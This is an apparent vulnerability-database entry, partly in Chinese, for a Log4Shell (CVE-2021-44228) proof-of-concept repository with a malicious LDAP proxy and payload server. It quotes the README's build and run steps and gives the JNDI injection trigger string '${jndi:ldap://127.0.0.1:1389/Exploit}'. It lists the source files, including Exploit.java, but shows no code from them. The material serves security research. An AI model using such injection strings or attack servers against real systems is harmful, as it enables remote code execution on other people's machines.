CVE-2021-44228 PoC — Apache Log4j 代码问题漏洞

来源

关联漏洞

Description

A Remote Code Execution PoC for Log4Shell (CVE-2021-44228)

介绍

# CVE-2021-44228 Remote Command Execution PoC

This repository allows security researchers to experiment with remote code 
execution by offering an implementation of an attack server that loads a custom
exploit on a vulnerable application that contains log4j.

> :warning: **The tool is intended for self-assessment and should be used by authorized persons or researchers only.** You should only test systems on which you have explicit permission or authority. If you find vulnerable applications or libraries, you should exercise [responsible disclosure](https://www.cisa.gov/coordinated-vulnerability-disclosure-process).

## RCE steps

CVE-2021-44228 works by injecting a JNDI LDAP string into your logs, which triggers Log4j to 
to contact the specified LDAP server looking for additional information. 
In a malicious scenario, the LDAP server can then serve code back to the victim 
machine which will be automatically executed in-memory.

The repo containts two sub-projects. The attacker-server project contains the 
source code of two threaded servers. The first one is an LDAP proxy that receives 
the initial request for an LDAP object. The second server is the payload server that serves 
the Exploit (existing in Exploit.java) back to the vulnerable application

## Building

In the root of the project:

```sh
mvn clean install
```
Both the server and the vulnerable app should be ready. 

## Execute the PoC
In order to load the server execute:

```sh
java -jar attacker-server/target/attacker-server-0.0.1-SNAPSHOT-jar-with-dependencies.jar
```

In order to trigger the RCE execute

```sh
java -jar vulnapp/target/vulnapp-0.0.1-SNAPSHOT-jar-with-dependencies.jar \${jndi:ldap://127.0.0.1:1389/Exploit}
```
You can change the malicious payload on demand by extending Exploit.java

文件快照

 [4.0K]  /data/pocs/b64b22c6293d77eb7695f192e16413e21075f6ee
├── [4.0K]  attacker-server
│   ├── [2.1K]  pom.xml
│   └── [4.0K]  src
│       └── [4.0K]  main
│           └── [4.0K]  java
│               ├── [4.0K]  eu
│               │   └── [4.0K]  ubitech
│               │       ├── [1.6K]  CommandServer.java
│               │       ├── [4.0K]  jndiproxy
│               │       │   └── [4.7K]  LDAPProxyServer.java
│               │       └── [4.0K]  payloadserver
│               │           └── [2.8K]  PayloadServer.java
│               └── [1.9K]  Exploit.java
├── [ 627]  pom.xml
├── [1.8K]  README.md
└── [4.0K]  vulnapp
    ├── [2.5K]  pom.xml
    └── [4.0K]  src
        └── [4.0K]  main
            └── [4.0K]  java
                └── [4.0K]  eu
                    └── [4.0K]  ubitech
                        └── [4.0K]  vulnapp
                            └── [ 439]  VulnApp.java

15 directories, 9 files

备注